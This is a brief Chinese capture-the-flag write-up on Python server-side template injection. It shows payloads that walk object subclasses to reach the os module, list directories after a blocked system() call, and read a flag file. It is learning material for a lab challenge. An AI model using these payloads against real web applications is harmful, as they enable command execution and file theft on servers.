由题目提示是Python模板注入
简单测试:
SSTI的目的就是从获取的基类中找到可以利用的类。构造获取基类的payload:
[].__class__.__base__.__subclasses__()
读取目录:
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
读取失败,猜测可能过滤了system()函数
那就采用os模块下的listdir来读取目录:
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
发现有关flag的文件:
读取flag(file一般是第40个):
[].__class__.__base__.__subclasses__()[40]('fl4g').read()
拿到flag:
总结:
Python的模板注入
学习链接:
Python模板注入